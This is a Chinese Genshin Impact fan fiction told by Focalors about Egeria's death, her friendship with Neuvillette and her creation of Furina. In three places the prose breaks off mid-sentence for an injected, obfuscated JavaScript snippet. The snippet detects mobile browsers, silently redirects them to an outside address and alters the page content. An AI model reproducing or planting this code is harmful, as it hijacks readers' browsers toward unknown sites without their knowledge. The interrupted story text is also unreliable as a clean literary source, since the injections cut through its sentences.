《【原神】布拉格殉情指南》 1. 芙卡洛斯的生死爱欲(一) *芙卡洛斯中心/无cp/人人都爱芙卡洛斯/所以也是all芙卡洛斯,第一人称预警 我最后一次见到厄歌莉娅,是五百一十二年前在苍晶山地。下午,稍晚,无名湖畔,我去找她下棋。彼时,她正握着一把剪刀发呆,闪光的长发落了一地。夕阳描摹她的轮廓,将之烧成蜜色的陶瓷。我问她,神明的头发都具有神力,为何如此豪奢地丢弃?她忧郁地笑答,从今往后都用不上了,还是趁早舍去为好。我一时失语。头发究竟有什么用呢?我不明白。于是我只是点了点头。 她捡起那如丝绸般柔顺的落发,绞成一束,和剪刀一齐递给我,我愣愣地接了。她便昂扬起语调: “让我为你献上最诚挚的祝贺,我最忠实的追随者、我最亲密的友人!你将成为新的水神——当然,不是现在。” 我引以为豪的大脑当时就宕机了,只机械地揉搓着手里的礼物,一根一根,像流水流过我的手心。毕竟,当时我只是一只追随厄歌莉娅的纯水精灵,不知死亡为何物。 我将厄歌莉娅赠予的头发视为最大的谜题,每日攥在手里钻研。我开始离群索居。当大家手挽手掠过塞洛海原的平静水面时,我在深水的蚌壳里沉思;当大家围成一圈讨论远古流传的残余棋局时,我在茂密的森林里漫步;当大家齐聚一堂为伟大神明献上颂歌与祝福时,我在失落的遗迹里找寻。一无所获。于是我钻进纯水精灵的聚会,将头发展示,可同伴们只是摇头;我去往正在建设的枫丹廷,将疑问书写,可人类也不知缘由。爱玛和朱莉亚说我疯了。我无法反驳。 不记得多少个日夜过去,某一日,我在芒索斯山麓徘徊,毫无征兆地,手中的发束忽然延展,变成无数条狭长的河流,在指缝间自如地流淌,粼粼地闪着幽蓝的光;然后,众水为之震颤,万川为之涌动,丝丝缕缕的河流汇成一股,像有透明的针线指引,穿梭往返,织就一顶鸢尾花冠。它徐徐地向我而来。 我跪下来;对着海面。其时又是一个黄昏,我看到如镜的水面里倒映出一个人类,她的头上安放着一顶纯水的冠冕。衰颓的夕阳为这新生的王冠镀上黄金的光辉,灿烂夺目。不知为何,充盈的水流无可抑制地自我眼中奔涌而出,砸到水面上。随着水纹的波动,整个倒影都着了火,仿佛太阳点燃棋盘,每一颗棋子都在崩毁中呐喊,却很快烧尽,坍缩成一朵枯萎的火花。 最后,这火花也凋零了,像一场庞然的火山猛烈喷发后留下的余烬。只要轻轻一触,就灰飞烟灭。不知为何,我总觉得所有的水都当真在被焚烧,我的身体,我的头颅,我的双眼都被炽热的温度烫伤。这等危险的火焰,我只在人类那里见过。某天夜半我悄悄浮出海面,看见遥远的岸边燃着篝火。它那么鲜艳,那么红。可从来没有同伴告诉我,它其实如此滚烫,能令一切沸腾。等我终于敢睁开眼时,夜幕降临,水中的自己也成了一片看不清眉眼的黑影。我摸了摸脸,完好无损。唯有一点濡湿的触感。 我披上白袍,踏着开满鲜花的原野,到枫丹廷去。我曾和厄歌莉娅一道来过这里,那时枫丹廷的大街上还没有如此鼎沸的人潮。人类用勤勉铸就辉煌的城垣,借智慧垒砌恢弘的殿堂:短短数月,如火如荼的建设就把此处变成了巍峨的都城。我几乎没有认出这是记忆中的荒原。 穿过利奥奈区新铺的花岗岩大道,转入瓦萨里回廊。拱廊由大块的玻璃连缀,直至在半空中交织成透明的穹顶。厄歌莉娅之前同我说,人类不喜欢湿漉漉的,如果有一条道路,可以为人们遮风挡雨,那即使是雨天,大家也能出门散步、聊天和聚会了。我抓住路过的行人询问,不出所料,他们都说是厄歌莉娅的主意;还有一所最壮观的歌剧院,也即将完工。 “不过,她怎么还没来验收呢?” 下意识地,我仓皇逃窜进旁边的店铺。这是一家新开的服装店,店主品味不俗,于是我在此订购了一套晨礼服。当然,还要一顶华美的大礼帽——量身定制;我像个木偶一般被美丽的店员小姐摆弄了许久,大功告成时忍不住松了口气。最后我叮嘱道,要有很多的鸢尾花,绽放在衣装的各个角落。 以前,我喝不出咖啡的好坏,只觉得很苦很苦;蛋糕倒是惊艳,蓬松而甜蜜。现在,我独自一人坐在遮阳伞下,搅拌眼前深棕色的液体,试图寻觅当初厄歌莉娅所言“咖啡的香气”。可还是好苦,苦得我说不出话来。 厄歌莉娅多么优雅。爱玛和朱莉亚说她只是坐在那里就是最纯洁最崇高的雕像。银匙在她手里轻巧地旋转,然后被妥当地安置在一旁;她苍白的手指穿过圆润的骨瓷杯把,像细瘦的枝头挂着一弯伶仃的新月。然后她会笑盈盈地问我是否累了,将我送回大洋深处安眠的乐巢。 真奇怪啊。以前我从没这么频繁地想起厄歌莉娅,想起她是怎么喝咖啡的。 那时枫丹还有雨季。 枫丹的土地广袤无际,群山绵延着分割原野与水域。我、爱玛和朱莉亚常常在云层中眺望人群的痕迹,星星点点如彩带蜿蜒在斑驳的大地。未被涉足的领地则是纯水精灵的欢筵,无人知晓的狂欢遍及每一棵白梣树下的阴翳。雨季来临的时候,人类龟缩在零星的房屋之内,烘烤炉火谈天说地;纯水精灵跃出海面,与积雨云相亲,与落下的水滴共舞,继续无休止的祝仪。 纯水精灵相信,枫丹是他们的乐园;人类则是朝圣的信徒,为求水神的庇护而定居于此。现在,我是行走其中的叛徒。没有奉献任何祭品,我即是新的神明;没有索求任何牺牲,我即是人的信仰。现在,我已不是纯粹的精灵,亦不属真正的人民。我茫然地扯着纯白的衣袍,任风吹起流苏的边角。鸢尾花冠的重量时刻提醒着我,尚有未竟之事有待实行。 后来我决心用双脚走遍枫丹的每个角落,孤身踏上旅程。这是寻找答案的必经之路。我渴望去须弥见厄歌莉娅最后一面,可惜她留给我的任务让我无暇踏足其他国度。而纯水精灵们纷纷离开枫丹,她们声称是我为了窃取七神的权柄谋杀了厄歌莉娅;人类则惶然四顾,他们祈求新的神明如期降临。 爱玛和朱莉亚走上前问:为什么是你呢?我们一同追随厄歌莉娅,是坚信她的崇高与纯洁无可匹敌;如今你既染指正义的权柄,我们自当告辞而去,以免与不义的芙卡洛斯同流合污。不过,走之前我们依然要问,为什么是你呢? 为什么是我呢?厄歌莉娅没有告诉我。 理所当然,无人为我哀悼。无人为死去的芙宁娜哀悼。唯有众水欢欣,高呼芙卡洛斯之名。 ……为什么是我呢? 我还没有人形时,就已万分向往秋分山山顶的月色和芒索斯山脚的花丛。后来,我第一次用自己的双脚踏足这片大地,厄歌莉娅就在前方牵着我的手。我小心翼翼地伸出足尖,轻轻压上地面。厄歌莉娅笑着说,别害怕,把所有的重量都交付给大地,它将忠实地托住你的整个身体。 太奇妙了。如果与我一样习于水中自由的游弋,就会发现陆上的行走是如此奇异。我迈出了第一步,然后是第二步,接着重心不稳,左腿绊右腿,狠狠地向前摔去,摔进厄歌莉娅满是花香的怀抱里。于是,她就被扑倒在草地上,笑出了声。我犹疑地问: “为什么,会向后倒呢?” 厄歌莉娅说:“因为重力啊。” 我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099044|163753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笨拙地爬起,跪坐在一边。厄歌莉娅却没有起来,而是伸长了一只胳膊递给我。我不明所以,将自己的手放入她的掌心。 下一秒,我也砸进馥郁的原野,厄歌莉娅的脸庞近在咫尺。草籽和花香一拥而上,新叶拂过脸庞,微有痒意。 她说:“你看,这样躺着看星空,是不是和在水里看,不太一样?” 我转过头去。夜空明澈,星辰清晰。 是的,是的。在水里看星,朦胧而不真切。 她就笑了,要带我去山顶。那里的星星格外切近,仿佛伸手可摘。 我们肩并肩坐在秋分山顶的一个山脊断裂的悬崖,欣赏没有水幕相隔的月色。厄歌莉娅摸了摸我的头,问,知不知道人类为什么格外喜欢这种活动。 我眨了眨眼问她,哪种活动。 厄歌莉娅说,像这样,半夜本应是人类睡觉的时间,却跑出屋子,爬上山,和好友一起赏月。 我想了想说,因为水里的月,山上的月,窗中的月,都不同吧。 她就叹口气,说,傻孩子,月都是一轮月啊。 现在,我一人坐在秋分山的山顶,琢磨着该怎么写信。月亮被蚀得只剩一条银线。可不要紧,它会再度盈满。那位先生会接受我的邀请,我确信。我希望这是一封得体的邀请函,最好带有枫丹的气息。无意识地晃动着双脚,再一次,我想起与厄歌莉娅初见的那一天。 厄歌莉娅说:“现在,我们已有众水搭建的舞台,神明撰写的剧本;我们已有月亮馈赠的灯光,群山造设的观席;我们已有万籁奏响的乐曲,生灵构筑的背景——一切就绪,只差一位主演。她应当具备浑然天成的技巧,能演绎所有种类的角色;她应当保有纯粹澄明的内心,能共情诸般复杂的感情。” 然后我便被爱玛和朱莉亚推上舞台。正当我不知所措时,她上前来牵住了我,笑着说,来吧,来吧,让我们一起将这出戏剧演到终幕。我羞赧地说,不,我没有演过戏……我只是,很喜欢,扮演其他同伴…… 厄歌莉娅将女主角的鸢尾花冠戴到我的头上。她说,那很好啊,说明你就是我要找的女主角。 我不由自主地跟着她走到了舞台中央。明亮的灯光照得我有些燥热,我听到自己身体里的水流不听使唤地摇荡。 秋分山的月就快沉沦,拂晓的云染上霞光。我搜肠刮肚,极尽所能,用上所知最优雅得体的词汇,连篇累牍,写成我一生中最精彩的信。 我写道: “我会在最大的剧院为你留一个视野最好的座位……” 当然,当然,我心里嘀咕。我当然会在最大的剧院为他留一个视野最好的座位,尽管这剧院尚未完工。那是我也没有登上过的舞台,未来,将会是我谢幕的舞台。最盛大的戏剧、最震撼的落幕,需要如此堂皇的舞台才能相配。至少那一天,我不能惊惶地站在舞台中央,不知所措,无路可退。 最后,我掏出自己调制的香水,在信纸上滴了两滴。 枫丹土地肥沃,物产丰饶。厄歌莉娅喜欢调香,她经常带着柳藤编织的篮子,从一个湖泊走到另一个湖泊,从山脊走到另一座山脊,一路采摘茉洁草,然后将它们倒进石皿,慢慢捣碎、研磨。香气馥郁,萦绕不散。最后它们被芸萃成几滴香水,装进小小的玻璃瓶子。她还会给它们起好听的名字,好听到每个名字在齿间碰撞时,都像刚刚出炉的马卡龙亲吻她柔软的唇瓣。 这是枫丹的香气。是厄歌莉娅的香气。 茉洁三月开花六月凋敝,厄歌莉娅再也没有回来。 我穿过伊黎耶岛的雨幕,放飞一只衔枝的雪翅雁。 2. 芙卡洛斯的生死爱欲(二) 雨季已到尾声。我走到白淞镇时,那里的船舶正熙攘往来。船坞里泊着新漆的货轮,码头上还有未完的骨架。细雨霏霏,人们打着伞,站在木制栈桥上谈论航行的计划,焦虑新船的试水——一切都仿佛和昨日、前日、以往的任何一天没有区别。我隐在兜帽下吐露她的名字,那顿挫的音节在空气中相互碰撞,泠泠地震响;回答里自然也包含这和谐的韵律,在我耳畔翩跹出凄然的潋滟。 “厄歌莉娅大人说,等枫丹廷的灰河疏浚,枫丹各地的水系之间畅通无阻,届时航船朝发夕至,商业便可繁荣。” “厄歌莉娅大人说,等新船上好松香,刷上油漆,塞洛海原将向我们敞开,届时船只稳固坚韧,渔业便可兴旺。” “厄歌莉娅大人说,等全境各司其职,各行其事,劳动就有收获,付出就有回报,届时家家和美,生活便可期待。” 起初提起她的名字,他们难以掩饰内心的忧愁;后来谈起她的计划,却又都神采奕奕。我艳羡地看着,不禁在想,过去六百余年的生活,曾以为那般愉快;现在回首,却又那般荒芜虚空!这些人类,他们的脸庞能如此生动地变化,他们的感情能如此充沛地宣泄,像厄歌莉娅拢在手里、兴奋地叫我去看的心羽鲈。它跃动的金鳞像在水中燃烧,绚烂,瑰丽,占据我的整个眼瞳,是水流从未有过的温暖。厄歌莉娅问我想不想永远做个人类的时候,我为什么直截了当地拒绝了呢? 我搭他们的船去露景泉;阵雨连绵,船上处处积水,水手们的脸上都挂着挥之不去的愁云。然而劳作的间隙,只要来上一杯,他们又很快松开眉头,高声歌唱。我躲在船舱里观察,竟慢慢食髓知味。之前,我唯恐被他们识破身份,才再三缄口;现在,我踏出船舱,加入海上的纵情狂欢。薄暮冥冥,大副用满是油渍的袖子擦净灯罩,船头点起虚弱的明光。火苗被笼进玻璃罩里,在狭小的天地里细微地呼吸。水手们收帆抛锚,然后围着唯一的光源坐下。海风夹着细雨扑来,又很快被体温蒸发,消散在欢声笑语中。我将厄歌莉娅送我的棋具在灯旁架起,与船长对弈。船长的棋艺自然不能同她相提并论,可水手们的笑谈与指点却比苍晶山地的午后热闹得多。间或杂有一些粗俗的俚语与不雅的谈吐,可我竟不觉得反感,一直微带笑意。 有个水手问:“唉,这次回去,就是我们家小公主的生日了。可我实在不知道,该给她什么样的礼物,才算得上是惊喜?” 其他人争前恐后地指手画脚,但都逃不脱蛋糕、衣裙和书本的窠臼。我想了想说,那就送她一瓶航行中的海水吧,它装载着曾经倒映在她父亲眼中的星与月。 他们大笑着拍我的肩,说看不出来,你原来这么“浪漫”。学到了新的词汇,我驱散围裹船只的急雨和海雾,以聊表谢意。黎明时分,借着霞光,远处的海角姿态优美地滑入水中,像厄歌莉娅的肩胛骨,修长而莹润的弧度。空气湿润,入口是一片甘甜的凉意。锈蚀的月亮隐隐约约挂在天边,船长高举啤酒杯:“敬风雨不移的月亮!” 我们便都举起杯来:“敬风雨不移的月亮!” 我同他们告别,又学会了“再会”。为此,我将陪伴已久的棋具赠予船长。 现在,枫丹的大地上再没有一只纯水精灵,有的只是属于我的人民。可他们并不知晓失乐园的原罪,也不懂得该如何繁衍生息。 我用深海的骸骨和萃凝晶矿石打造了一副精巧的天平,用来称量枫丹的罪孽与公义;我将它安放在新落成的歌剧院里,高悬于最高审判官的座位之上,作为无期徒刑的囚牢与执行判决的机器。 我为露景泉写了一首无名的诗歌,赞颂伟大的水神将实现她忠实子民的一切愿望;倘若有人愿意令自己的血脉延续,便来此交付他的虔诚与期许,而新生的神明将回馈他应得的恩典。 最后,我在露景泉前表演了三天三夜,将新任水神的功绩传唱,落泪的人们为我献上摩拉,询问神明究竟在何方?我拉紧了自己的兜帽,用沙哑的嗓音将预言揭示:江河湖海有自己的情诗,正义之神有自己的旅途;当歌剧院的高位有了新的主人,当舞台呼唤它命定的明星,信徒渴求的光芒自当降临。 下一个雨季到来之前,我独自踯躅在枫丹国界。从边疆遥望枫丹廷,山林与绿野都像故事里的仙境。听完爱丽丝的故事,爱玛问,何处才有神奇的兔子洞?朱莉亚问,如何才能拥有美妙的梦境?厄歌莉娅说,纯水精灵悠长的岁月都只用于欢游与嬉戏,如何能懂得人类的生死与爱欲?也许终有一日她们能够一窥全貌,可那也意味着永恒变得短暂,纯粹沦为污浊,伊甸坠化人间。爱玛与朱莉亚都摇头,说,纯水精灵的生活如此醇美,谁会想要成为短寿的人类? 厄歌莉娅问我的想法,我懵懂地回答,我不知道,也许,我得好好想想。 在边境,我逗留了很长时间。这些时间足够我好好想想。独行的漫漫长路上,陪伴我的只有厄歌莉娅口述的童话和排演的戏剧。我走马观花地游览枫丹的名胜,看茵草越过国境后变得旺盛,低伏的平原酝酿山峦的起势。前者让我想起绿野仙踪的传奇,后者则唤醒恩仇记的美名。厄歌莉娅,她的故事伴我前行,可我恍然发觉,我已很久很久,没有见过她的踪迹。 原来这就是死亡;而我仍然活着。 那位先生一踏入枫丹境内,我就悄悄地跟在他身后。枫丹四处皆流,尾随轻易。我看到他脸庞上铭刻的静默,一如六百年前的我。枫丹的泉水、花朵与飞鸟倒映在他眼底,而人间的相逢、别离与爱恨却搅不动这一片沉寂。我想了想,化作纯水精灵,那是我原初的模样,来到他的面前。 “想必,您就是即将成为最高审判官的那位先生;神明令我恭候于此,为您指引溯流的回旋。我是留守此地最后的一只纯水精灵,万分荣幸终于候得您的光临。” 他说:“谢谢,我知道我该去往何处。” 我说:“我也知道您将去往何处。不过,在登上最高的席位之前,如果您想要逛逛这片源水的大地,我将随时回应您的指令。” 他犹豫着,最后还是点了点头。那双浅紫的瞳孔像柔灯铃的花序,没有经过洪水的冲洗与时间的沸煮;他的双角还稚嫩而脆弱,若当年生的珊瑚生涩地张望。 “还未请教您的姓名?” 他说:“称呼我的姓氏那维莱特就可以。” 我的旅伴也许是全提瓦特最沉闷、最无聊的一个,至少表面看起来如此。我同他谈论人类,发现他与曾经的我一样一无所知;我同他言说枫丹的季风与洋流,他的博识仅限于空中水汽传递的信息;我同他调侃新生的神明,他的回答恭谨而克制。一切的一切,都说明他的公正与无私。 我与他爬上陡峭的秋分山,寒夜的星空格外明亮,在我们的头顶旋转。月亮则是浓稠黑夜里的煌煌灯塔,一缸浑水里的雪白沉淀。我告诉他,在陆上看天,和在海里看天,是完全不同的体验。毕竟,没有水帘的遮掩,一切都清晰可辨。 他说,是的,在水里看星,朦胧而不真切。 我又问,您是否知晓,人类格外喜欢这种活动的缘由? 他有些困惑,问道,您是指哪种活动。 我说,像这样,半夜本应是人类睡觉的时间,却跑出屋子,爬上山,和好友一起赏月。 他沉思着,斟酌道,原来,这就是好友的含义。 我说,希望那维莱特先生不会觉得我冒犯。我自知无法与您这般伟大的存在相比。 他摇头道,无妨。可否请你重复一遍问题呢? 我就重复说,你知不知道,人类为何格外喜欢从事这种活动? 他想了想说,因为水里的月,山上的月,窗中的月,都不同吧。 我便笑了。 成为好友之后,我们的旅行变得更加从容。有一次,我们从芒索斯山巅下行,盛夏午后的太阳灼烧每一寸土地。那维莱特贴心地问我是否觉得难受,我则想起伊卡洛斯的故事。于是我们就近找了一片林荫歇憩,听我娓娓复述厄歌莉娅的遗作。 “伊卡洛斯的父亲受国王之命建造迷宫,完成后父子却被关入高塔以防泄密。于是,父亲用飞鸟遗留的羽毛与惠赐的蜡烛制成可以飞行的羽翼。然而这羽翼虽然精巧,却因其质料而存在瑕疵:飞得太低,羽毛会被海水沾湿;飞得太高,蜡会因太阳的温度熔化。伊卡洛斯第一次飞翔,他无比兴奋,将父亲的叮嘱遗忘在脑后。于是不幸的事发生了:他越飞越高,羽翼熔化,像断翼的鸟儿坠入深海。” 那维莱特说:“你也是蜡做的吗?” 我有些得意地告诉他,纯水并不畏惧阳光。我们的力量来自水源,借此能化作林野百态。 他看起来有些困惑,不知道我同他讲这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099045|163753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个故事的意义何在。 我问,如果让你来评价伊卡洛斯,你会怎么说呢? 他说,不自量力,而且太过自我。 我点点头说,是啊,可有时我也很羡慕他。 为什么呢?那维莱特问。 我说,至少,他能自由地死去。 我还同他聊起厄歌莉娅讲过的另一个故事,小美人鱼在黎明的涨潮中化作泡沫;王子不知道救命恩人的境遇,即将迎娶邻国貌美的王女。那时我们正在塔拉塔海谷游览遗迹,错落有致如故事里人鱼的属地。我手舞足蹈地描述泡沫的升腾与破碎,太阳的威力让水汽回归循环,于是一切复归寂静,唯有大海知晓女儿的逝去。他的眉目间笼罩了一层淡淡的悲伤,没有对此发表任何评论。我们浮上水面,远处,硕大的太阳刚刚露面,就下起了连绵不绝的骤雨。直到我们上了岸,沿山麓游览数日,空中仍飘着无因的细雨。我停下来说: “真奇怪啊,枫丹的雨季,明明还有一月才会来临。” 那维莱特向我道歉。 我就笑起来,说,为什么要道歉呢?明明也不是你的错误。 但我其实心知肚明。在帮他与服装店牵线搭桥,定制一套适合出席审判的复杂服饰后,我在郊外找到一群玩耍的孩童,教会他们停雨的歌谣: “水龙,水龙,别哭啦。” 我想以后大概没有这般分明的雨季与旱季;只要水龙愿意,雨季可以从年头蔓延到年尾。而且他那么天真又心软,毫不意外,以后枫丹会成为一个多雨的国度。 我就是在那一刻想到,该如何处理这具沉重躯体的。主角在舞台的中央化作无数泡沫,就像节日时父母留给孩子的惊喜。既然那维莱特已经决定留在枫丹廷,那我也该继续自己应行的苦旅。 我对那维莱特说:“如今你已像我一样了解这片土地,又决定为此世的公理正义献出精力。那么,此刻即是退隐之时,我将追随同伴的脚步前往异域。” 那维莱特问:“为何?你热爱这里,我已知晓。我希望你不是因为忌惮我的到来而远离。” 我摇了摇头解释说:“我们崇敬的神明业已陨落异乡,背后的阴谋指向如今的桂冠。我们不愿认同芙卡洛斯的正义,因此决意与她分道扬镳。我的同伴业已离开,寻找尚且澄澈的水域。而你,我的朋友,你是不同的;你将与芙卡洛斯共治这方疆土,直至真理的正义得以践行。” 他有些困惑:“我的正义……” 我不能再多说了。而他的公正毋庸置疑。 那维莱特最后问道:“人类似乎是一种弱小的种族。他们短视,与寿命的长度匹配;他们孱弱,与活动的范围相适。那么,请容我僭越地询问,此地的主人,究竟是何方神圣?” 我何曾见过如此恭而有礼之人?我对他更加满意。即是说,我对自己的眼光、自己的选择更加满意。我告诉他,此地的主人,当然是世代更替的人类;他们的弱小众所周知,他们的强大亦举世闻名。因为人类的生命很短,遗忘很长。而你将有充裕的时间去观察和了解,不必心急,我们的时间,从来都是足够的。 分别之际,我征得他的同意,摸了摸他的双角。柔软的、冰凉的。为表谢意,我用一小部分力量做成发带赠予他,湛蓝的丝绸之上可见流纹迂回荡漾。他郑重地道谢,接过了,有些笨拙地为自己系上,却把那一头柔顺的白发弄的乱七八糟。我不由得想起,最初掌握化为人形的力量时,我也对自己那一头银白的长发手足无措,厄歌莉娅用梳子细心地理顺了,又给我捯饬了新发型。我们都没有她那样强大,可以长久地维持人类的体态,所以每次重新变成人形,厄歌莉娅都会帮我再梳一次头。她离开我如此之久,久到以我的笨手笨脚,都能将自己打理得整洁干净。 我示意眼前高大的男人低头,他乖乖地俯下身子。我绕到他背后去,化出人形,轻轻将散落的发丝拢起,拉了一个标准的蝴蝶结。我告诉他,这是最高审判官的礼仪,浑身上下都应如此这般一丝不苟地打点完毕。他点了点头,承诺以后都会按此标准行事。 我们在露景泉前道别,我看到那位先生站在泉边仔细聆听,仿佛能这样一动不动,直到地老天荒。 我礼貌地说“再会”。他点点头,亦如此重复。然后我背过身去,继续做我该做的事情。我再也没有回过头。 3. 芙卡洛斯的生死爱欲(三) 纯水精灵诞生自大洋之底最纯净的水域,尽管我们知晓那里就是生命之源,可无一例外,从来没有人回去过。因为我们生来就是自由的,我们的使命就是挥霍近乎无穷的年寿,顺着水脉行至各地,将纯粹的欢娱播撒传递。我们日夜欢游,颂唱爱与梦之诗;可我们何曾有过梦,又何曾有过爱?我们天生便是盈满的,充实的,无暇的;我们天生便是梦,是诗,是爱。可正因如此,我念叨的不过是传承至今的词语,我发出的不过是约定俗成的音声。我们悠长的寿命不过无知幼童翻阅日历,只有数字的增减,而无任何实际意义。我们彼此的羁绊不过自柳树折下的脆枝,在广袤水域的任何一个角落,都可以独自生根发芽。我们不懂梦,不懂诗,更不懂爱。 现在,我取来出生之地最纯正的骸灰,我开始回忆厄歌莉娅只言片语里的信息。我突然发现,她从来不曾掩饰自己犯下的罪孽,只是那时我们眼里只有繁星与鲜花,不曾给人类一隅之地。 我徇着自己的轮廓捏出人形,照着自己的眉眼细细凿刻。我分离自己的灵与肉,将神之心留下,将其他部分送进这新造的躯体。那从身体里撕扯出一部分的疼痛令我几乎支撑不住,跌坐在海底,就好像要从心口生生剜去一块血肉,放进晶莹剔透的玻璃碗。可那正是我储存记忆的花园,于是爱玛、朱莉亚、厄歌莉娅、水手、船长和那维莱特都被血色洪水冲走,我徒劳地伸手,只有滔滔水流从指缝间漏下。从今往后,我只能隔着玻璃观看那些回忆。我想起在郊外找到那些孩童时,他们叠好的纸船被大雨浸透,几乎化为纸浆碎屑。他们嚎啕大哭。幸好我不是在枫丹的郊野,而泪水落入深海,如婴儿回归母亲的子宫,杳无踪迹。 我用窃取的权能赋予这个女孩生命的本源权利,现在,一个新的生命诞生了,她是纯水为质料做成的人类,和枫丹任何一个普通人一样。可以想见,她也与任何一个普通人一样,会哭,会笑,会悲伤,会生气,她将是一个完全之人。她紧闭着眼,少女的胴体纤细苍白。我再次检查每一处细节。说实话,这是我第一次、也是唯一一次造人。我感到自己和厄歌莉娅前所未有地贴近。现在,我们真正背负着一样的原罪了。 一切准备就绪,我为她穿好定制的晨礼服,将那顶礼帽放在她的手掌上,将她抱起放进扶手椅。她像一个洋娃娃窝在软垫的怀抱里,鸢尾花在她身体各处竞相开放。可我知道她不是;她将是一个真正的人类。 我轻轻地唤:“芙宁娜,芙宁娜。” 她纤长的睫羽微微摇颤。 我轻轻地唤:“芙宁娜,芙宁娜。” 我抚平她略略皱起的眉头。 可是,打量着眼前这个与我一模一样的女孩,我却感觉总有些地方并不和谐。最后,我抽出厄歌莉娅遗赠的金丝剪刀,剪去她与我相仿的长发。后退几步端详,我满意地点了点头。 我怜惜地亲吻她的额头,为她理顺头发。然后,我诅咒了她。 愿她的生命之河川流不息,河床里嵌满密实的金沙粒。 就像远来此地的那维莱特一样,我也依然有许多疑问没有得到解答。为什么是我呢?为什么我非死不可呢?可是,选择不需要理由。选择只是选择而已。 我们都只是被抛物。被抛到这世上之后,许多事情都身不由己。 我唤醒了芙宁娜,佯装镜中的她自己交代最后的细节。在她沉沉睡去后,我从镜中走出,像一个幽灵从逝者的世界走入鲜活的世间。我吻去她眼角细密的泪珠,那是我的遗愿清单。现在,最后一项也一笔勾销。我终于可以放心地步入自设的囹圄。 名为芙宁娜的人类与其他所有人不同的一点在于,她生来便不自由。可我允诺她真正的自由,在我完成自己的刑期之后。届时,我们将一同迎来自由的世界,自由的我们。我们是真正的双胞胎,互为彼此的半身与倒影。所以,不必忧心,不必怀疑,不必哭泣,一切都将在盛大的审判中落幕,届时,正义的真意将自当显现。 芙宁娜,芙宁娜。我最亲爱的小女孩。至少,唯有她,我要把她留在光辉灿烂的未来。 愿她成为那维莱特忠实的伙伴,给他沉静的生活带来些许欢乐与波澜。 我本以为在谕示裁定枢机中的日子是难熬的。其实不然。审判的戏码隔三差五就会上演,而芙宁娜精心排演的音乐剧穿插其中,就像一顿美味的下午茶。甜口的点心如果不搭配红茶,就太齁了;而红茶若无蛋糕相配,则又嫌苦。这么一想,我坐牢坐得还挺舒服,能有几人次次都能抢到芙宁娜亲自演出剧目的特等席票呢? 散场时是我一天中最清醒的时刻,凝神细听夫人小姐们的八卦讨论,是一件有意思的事情。我听到第一次涨水期的来临,听到名为美露莘的新种族加入枫丹,听到终于得到芙宁娜接见的狂喜赞叹……人间爱欲翻涌不息,比任何剧目都更精彩。 偶尔,审判的过程跌宕起伏,像最恶趣味的剧团贡献的笑料,可那维莱特面不改色,永远冷静、公正、不假辞色。那维莱特每出席一次审判,我就得打着哈欠旁听。同理,他每下一次判决,我也得让谕示裁定枢机做出反应。他的意志无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099046|163753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可动摇,他的尊荣由此创定。我越过他的肩膀去看芙宁娜,看她嬉笑怒骂,歇斯底里,有时也忍不住质疑自己的选择,但随着年岁日久,我越发坚信,我们都能获得想要的结局。 闲暇之余,我也总在思索,为什么厄歌莉娅非死不可呢?为什么是我接替了她的席位?为什么我非死不可呢? 后来,我想起厄歌莉娅的次数越来越少,玩味那维莱特和芙宁娜的次数越来越多。我的过去离我越来越远,现在的苦刑短暂又漫长,未来是无可遏止地离我越来越近了。 我最后一次见到那维莱特,是死前最后一秒,在欧庇克莱歌剧院。在他反应过来之前,我已经悄悄摸过他的双角。比起幼龙,虽然外形上没有太大变化,质地却无疑坚实了许多。我满意地点头,将观众席让给他,步上舞台。令我没有想到的是,在五百年里我日日叩问的问题,此刻都销声匿迹。灯光一齐打到我身上,像炎炎烈日。最后徘徊在我脑中的,是当我还是纯水精灵之时,夜半时分,我常悄悄地离开爱玛和朱莉亚,浮上海面,远远地遥望人类的踪迹。山腰的小屋里亮着暖黄的灯,渔人聚集的海岸燃着跃动的火,那是纯水精灵的世界里,几乎没有出现过的色彩。 最初,在制造谕示裁定枢机时,我就将内里的天地永恒地固定在黎明。黎明与我有缘。在秋分山山顶,我和厄歌莉娅等待残月消逝,旭日东升;在船长的新船上,我和水手们静候浓雾散去,海岬显现;在塔拉塔海谷的海面上,我给那维莱特讲述小美人鱼的消散,看曙色被薄雨冲淡。所以我准备了这个黎明,用作我葬礼的布景,和完全之龙诞生的幕布。 那维莱特的面容已模糊了。我停下舞步,微微侧身—— 我感到自己的身体像伊卡洛斯的羽翼一样熔化了。然后是坠落。我知道,这是因为重力。我的眼前闪过橡木林和酢浆草,闪过茉洁草与鸢尾花,闪过锈蚀得只余一线的月亮,秋分山顶明灭的星河,闪过无数张熟悉陌生的面孔,无数个相似的黄昏与天明。 